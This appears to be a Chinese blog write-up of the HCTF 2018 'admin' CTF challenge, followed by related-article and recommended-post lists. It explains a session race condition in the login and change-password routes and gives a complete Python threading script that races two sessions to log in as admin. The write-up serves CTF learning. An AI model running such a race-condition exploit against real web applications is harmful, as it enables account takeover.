附上网上师傅的wp  学习链接:

https://www.jianshu.com/p/f92311564ad0

按照师傅的wp复现一下:

源代码审计,去看路由里的login函数和change函数都在没有完全check身份的情况下,执行了session有关的赋值。

一个进程以正常账号一直依次进行登录、改密码操作,另一个进程同时一直依次进行注销、以admin用户名加进程1更改的新密码进行登录。就有可能出现当进程1进行到改密码函数时,进程2进行到登录操作,这个时候进程1需要从session中取出name,而进程2此时把session['name']改成了admin。编写脚本进行条件竞争,条件竞争结束的标志为进程2登录操作成功,即重定向到/index

  1. import requests
  2. import threading
  3.  
  4. def login(s, username, password):
  5. data = {
  6. 'username': username,
  7. 'password': password,
  8. 'submit': ''
  9. }
  10. return s.post("http://admin.2018.hctf.io/login", data=data)
  11.  
  12. def logout(s):
  13. return s.get("http://admin.2018.hctf.io/logout")
  14.  
  15. def change(s, newpassword):
  16. data = {
  17. 'newpassword':newpassword
  18. }
  19. return s.post("http://admin.2018.hctf.io/change", data=data)
  20.  
  21. def func1(s):
  22. login(s, 'skysec', 'skysec')
  23. change(s, 'skysec')
  24.  
  25. def func2(s):
  26. logout(s)
  27. res = login(s, 'admin', 'skysec')
  28. if '<a href="/index">/index</a>' in res.text:
  29. print('finish')
  30.  
  31. def main():
  32. for i in range(1000):
  33. print(i)
  34. s = requests.Session()
  35. t1 = threading.Thread(target=func1, args=(s,))
  36. t2 = threading.Thread(target=func2, args=(s,))
  37. t1.start()
  38. t2.start()
  39.  
  40. if __name__ == "__main__":
  41. main()

脚本来自:https://github.com/Whitzard

HCTF2018-admin[条件竞争]的更多相关文章

  1. [原题复现]2018HCTF WEB admin(session伪造、unicode漏洞、条件竞争)

    简介  原题复现:https://github.com/woadsl1234/HCTF2018_admin  考察知识点:session伪造.unicode漏洞.条件竞争  线上平台:https:// ...

  2. MySQL/MariaDB/PerconaDB-提权条件竞争漏洞

    背景 2016年11月01日,国外安全研究员Dawid Golunski在 MySQl, MariaDB 和 PerconaDB 数据库中发现条件竞争漏洞,该漏洞允许本地用户使用低权限(CREATE/ ...

  3. Linux C:access()时间条件竞争漏洞

    access()函数用来检查调用进程是否可以对指定的文件执行某种操作. ================================================================ ...

  4. MOTCF 没时间解释了 条件竞争漏洞

    moctf 没时间解释了 条件竞争漏洞 题目链接 条件竞争: 在本题目中,上传文件的时候服务器无条件的接收任何类型的文件,但是你上传之后服务器会给你的文件内容修改为too slow. 比如你上传了一句 ...

  5. 条件竞争(race condition)

    条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生. 参考了一些资料,发现一个比较能说明问 ...

  6. burp通过条件竞争上传文件

    一·何为条件竞争 现代框架更能抵御此类攻击.他们通常不会将文件直接上传到文件系统上的预期目的地.相反,他们采取了预防措施,例如首先上传到临时的沙盒目录并随机命名以避免覆盖现有文件.然后,他们对这个临时 ...

  7. BUUCTF[归纳]sql注入相关题目

    这是我自己对于sql注入的部分ctf题型的归纳,均来自buuctf的平台环境. [0CTF 2016]piapiapia 我尝试了几种payload,发现有两种情况. 第一种:Invalid user ...

  8. 理解竞争条件( Race condition)漏洞

    这几天一个叫做"Dirty COW"的linux内核竞争条件漏洞蛮火的,相关公司不但给这个漏洞起了个洋气的名字,还给它设计了logo(见下图),首页,Twitter账号以及网店.恰 ...

  9. 刷题记录:2018HCTF&admin

    目录 刷题记录:2018HCTF&admin 一.前言 二.正文 1.解题过程 2.解题方法 刷题记录:2018HCTF&admin 一.前言 经过一个暑假的学习,算是正经一条web狗 ...

随机推荐

  1. 【WPF学习】第十八章 多点触控输入

    多点触控(multi-touch)是通过触摸屏幕与应用程序进行交互的一种方式.多点触控输入和更传统的基于笔(pen-based)的输入的区别是多点触控识别手势(gesture)——用户可移动多根手指以 ...

  2. python基础入门之一 —— 变量与运算符

    1.标识符 由数字,字母,下划线组成 不能由数字开头 不能使用内置关键字 严格区分大小 2.数据类型 数值:int (整型) float(浮点型) 布尔型:True(真) False(假) str ( ...

  3. 获取Servlet原生API

    1.请求 <a href="param/test1">Servlet原生API</a> 2.处理方法 @RequestMapping("/para ...

  4. 指数ETF基金的组合分析方法初探

    本文在Creative Commons许可证下发布 试想一下,大多数基金“推荐”的配置策略都假设某种股票/债券组合.如果我们想寻求成本最小收益最高的组合(以yahoo finance上的数据来分析,因 ...

  5. modules模块

    模块操作一 temp.js export var a='eternity'; index.js 跟temp.js同路径 import {a} from ./temp; 模块操作二 temp.js ex ...

  6. 【python基础语法】数据类型:数值、字符串 (第2天课堂笔记)

    """ 数据类型: 一.数值类型:整数 浮点数 布尔值 二.序列类型:字符串.列表 元祖 三.散列类型:字典 集合 可变数据类型: 列表 字典 集合,可以改动内存地址数据 ...

  7. java-局部变量,成员变量区别

    1. 内存中的位置 成员变量: 堆内存 局部变量: 栈内存 2. 生命周期 成员变量:随着对象的创建而存在,随着对象的消失而消失 局部变量:随着方法的调用而存在,随着方法调用完毕而消失 3. 注意事项 ...

  8. Eclipse使用Alibaba Cloud Toolkit极速部署项目

    个人博客 地址:https://www.wenhaofan.com/a/20190716205809 什么是Alibaba Cloud Toolkit Cloud Toolkit 是针对 IDE 平台 ...

  9. Easyui-Tree和Combotree使用注意事项-sunziren

    版权声明:本文为sunziren原创文章,博客园首发,转载务必注明出处以及作者名称. Easyui-Tree和Combotree所使用的数据结构是类似的,在我的上一篇文章<Easyui-Tree ...

  10. 【Unity|C#】基础篇(1)——基础入门

    [学习资料] <C#图解教程>(第2~12章):https://www.cnblogs.com/moonache/p/7687551.html 电子书下载:https://pan.baid ...